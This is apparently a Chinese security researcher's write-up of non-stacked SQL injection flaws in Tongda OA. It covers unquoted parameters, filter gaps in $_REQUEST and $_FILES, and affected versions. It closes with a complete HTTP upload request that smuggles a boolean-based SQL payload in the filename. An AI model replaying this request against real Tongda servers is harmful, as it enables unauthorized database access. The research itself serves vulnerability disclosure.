非堆叠注入集合

这里也是按照类型来说

其实考虑到的情况挺多,但是没找到或者没办法利用的就算了,这里不提二次注入

首先就是明确一个问题

非堆叠注入的话,加上通达的过滤机制,在查询语句中以下问题并不能构成注入

没办法注释,暂时闭合不了

  • 字段问题
  • table问题

第一种类型

直接参数传递,未经过单引号包裹的

这类注入比较简单,而且后台应该存在很多

列举几种情况

  • 整型参数
  • in语句
  • order by后的参数
  • limit后面的参数

影响版本:<=11.10.210616

第一种

随便举个例子,不在一一列举

image-20210625133153965

第二种

image-20210625141432165

第三种

image-20210625141605168

第四种

当然这种基本是不可能了,因为在没有堆叠的情况下,只能在mysql 5.6或者以下版本才有的操作

image-20210625142114793

第二种类型

下面这是通达的全局过滤方式

image-20210625133526291

这个样子的过滤产生的问题

  • 只过滤了$_GET$_POST$_COOKIE,存在未过滤的变量,虽然resetgetpost中的数据,在11.10版本虽然过滤了_REQUEST,单也是get中的参数,只是无法覆盖而已,但是原生的$_REQUEST中的数据依然是原生数据
  • $_SERVER中的变量未被过滤
  • $_FILE中的也没被过滤
  • 可以很明显的看到is_array的判断,就是数组中的变量都未被过滤

这里$_SERVER可能有点玄,但是数组型的应该是存在的,不在举例,以$_REQUEST$_FILE举例

第一种

$_REQUEST中的注入问题

image-20210625134220356

跟进select方法

image-20210625134303077

跟进where方法,可以看到直接拼接

image-20210625134344952

要是复现的话这里的菜单没有权限,添加上就可以,不在复现了

第二种

这个版本比较老一点

<= 11.5的时候是个未授权注入,现在是个后台注入了

代码如下

image-20210625141038256

文件名存在注入

限制是不能存在(.)

漏洞复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /general/file_folder/swfupload.php HTTP/1.1
Host: xxx:9001
Content-Length: 190
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Origin: http://xxx:9001
Content-Type: multipart/form-data; boundary=----------GFioQpMK0vv2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://xxx:9001/general/file_folder/swfupload_new.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7
Cookie: PHPSESSID=1eapjgv5pmomsgvo1a0s7s4p73; KEY_RANDOMDATA=11239
Connection: close

------------GFioQpMK0vv2
Content-Disposition: form-data; name="Filedata";filename="1' RLIKE (SELECT (CASE WHEN (2=1) THEN 1 ELSE 0x28 END)) or '1 .txt"

aaaaa
------------GFioQpMK0vv2--

报错截图

1608170571143

成功截图

1608170646305

文件名不受通达的GPC限制